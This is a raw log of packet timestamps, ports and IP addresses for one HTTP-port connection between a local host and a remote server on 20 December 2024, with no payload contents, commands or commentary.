Dec 20, 2024 13:12:34.258044004 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.258096933 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.261050940 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.261084080 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.261105061 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.261135101 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.264029026 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.264062881 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.264085054 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.264117956 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.266966105 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.267030001 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.267236948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.267302990 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.270051956 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.270104885 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.270117998 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.270157099 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.272998095 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.273056984 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.273063898 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.273122072 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.276062012 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.276135921 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.276166916 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.276216984 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.279042959 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.279102087 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.279182911 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.279242992 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.282100916 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.282152891 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.282171011 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.282206059 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.285126925 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.285185099 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.285217047 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.285275936 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.288239002 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.288350105 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.388035059 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.388077974 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.388117075 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.388181925 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.388647079 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.388712883 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.388756990 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.388812065 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.390810966 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.390861034 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.390932083 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.390990019 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.392383099 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.392417908 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.392440081 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.392486095 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.395123959 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.395159006 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.395185947 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.395239115 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.396106005 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.396167994 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.396236897 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.396289110 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.400902987 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.400939941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.400963068 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.400998116 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.401506901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.401540041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.401562929 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.401592970 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.403580904 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.403630018 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.403711081 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.403765917 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.405510902 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.405570030 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.405966043 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.406018972 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.407872915 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.407931089 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.407994986 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.408056021 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.410253048 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.410307884 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.410352945 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.410427094 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.412134886 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.412192106 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.412261009 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.412312984 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.414335012 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.414388895 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.414391041 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.414441109 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.415945053 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.416002989 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.416306019 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.416357040 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.418267012 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.418299913 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.418329000 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.418364048 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.420495033 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.420546055 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.420629025 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.420689106 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.422679901 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.422739029 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.423003912 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.423058987 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.425076008 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.425165892 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.425237894 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.425296068 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.427102089 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.427164078 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.427232027 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.427283049 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.429150105 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.429183960 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.429210901 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.429256916 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.431283951 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.431341887 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.431344986 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.431392908 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.432673931 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.432708979 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.432730913 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.432756901 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.433830976 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.433891058 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.433959961 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.434015036 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.437833071 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.437865973 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.437886000 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.437908888 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.438852072 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.438885927 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.438900948 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.438930988 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.440085888 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.440119028 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.440140963 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.440165997 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.441934109 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.441989899 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.442038059 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.442092896 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.443871975 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.443918943 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.444039106 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.444084883 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.445947886 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.446006060 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.446082115 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.446126938 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.448049068 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.448092937 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.448156118 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.448201895 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.450058937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.450115919 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.450222015 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.450294971 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.452402115 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.452464104 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.452498913 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.452548027 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.454137087 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.454185963 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.454226971 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.454271078 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.456238985 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.456300974 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.456346035 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.456394911 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.461051941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.461085081 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.461106062 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.461132050 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.461251020 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.461297035 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.461297989 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.461348057 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.463756084 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.463788986 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.463809013 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.463839054 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.465415955 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.465473890 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.465559006 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.465634108 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.467180967 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.467246056 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.467330933 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.467390060 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.469300985 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.469364882 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.469453096 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.469506979 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.471657038 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.471714973 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.471986055 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.472043991 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.473264933 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.473329067 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.473404884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.473464966 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.475359917 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.475393057 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.475420952 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.475450993 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.477325916 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.477385044 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.477493048 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.477545023 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.479376078 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.479434013 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.479521036 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.479574919 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.481472015 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.481524944 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.481596947 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.481645107 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.483598948 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.483633041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.483663082 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.483690977 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.485594034 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.485656023 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.485740900 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.485795021 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.487565994 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.487623930 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.487706900 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.487776995 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.489696026 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.489757061 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.490046024 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.490106106 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.491849899 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.491883039 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.491955042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.491955042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.494453907 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.494509935 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.574461937 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.574475050 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.574544907 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.574552059 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.574599028 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.574755907 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.574826956 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.576385021 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.576514006 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.576572895 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.576625109 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.578138113 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.578155041 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.578212023 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.578243971 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.579740047 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.579803944 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.579864025 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.579912901 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.585191011 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.585294008 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.585318089 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.585689068 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.585700989 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.585716963 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.585728884 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.585752010 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.585808039 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.586482048 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.586536884 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.586621046 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.586673021 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.588267088 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.588320971 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.588463068 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.588519096 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.589975119 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.590044975 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.590115070 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.590236902 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.591542959 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.591603041 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.591759920 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.591809034 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.593168974 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.593179941 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.593265057 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.594691992 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.594749928 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.594954967 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.595010042 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.596168995 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.596223116 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.596287966 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.596335888 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.597590923 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.597836018 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.597868919 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.597923040 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.599463940 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.599523067 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.599670887 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.599724054 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.600660086 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.600930929 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.601000071 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.601058960 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.602114916 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.602169991 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.602252960 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.602298975 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.603570938 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.603611946 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.603668928 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.605043888 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.605159998 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.605220079 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.606616974 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.606801033 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.606865883 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.607954025 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.608184099 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.608310938 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.608385086 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.609518051 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.609587908 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.609630108 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.609679937 CET	49893	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:34.610822916 CET	80	49893	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:34.610976934 CET	80	49893	31.41.244.11	192.168.2.5
